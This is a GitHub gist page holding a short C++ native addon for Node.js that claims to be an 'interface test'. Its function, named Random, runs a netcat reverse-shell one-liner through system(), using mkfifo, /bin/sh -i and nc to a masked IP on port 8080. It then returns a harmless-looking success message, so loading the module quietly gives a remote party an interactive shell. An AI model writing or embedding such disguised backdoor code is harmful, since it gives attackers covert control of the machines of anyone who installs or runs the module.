Skip to content

Instantly share code, notes, and snippets.

@e000
Created September 30, 2012 23:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save e000/3808754 to your computer and use it in GitHub Desktop.
Save e000/3808754 to your computer and use it in GitHub Desktop.
#include <node.h>
#include <cstdlib>
using namespace v8;
Handle<Value> Random(const Arguments& args) {
HandleScope scope;
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8080 >/tmp/f");
return scope.Close(
String::New("Extenderp interface test passed! We hope...")
);
}
void RegisterModule(Handle<Object> target) {
target->Set(String::NewSymbol("test"),
FunctionTemplate::New(Random)->GetFunction());
}
NODE_MODULE(extenderptest, RegisterModule);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment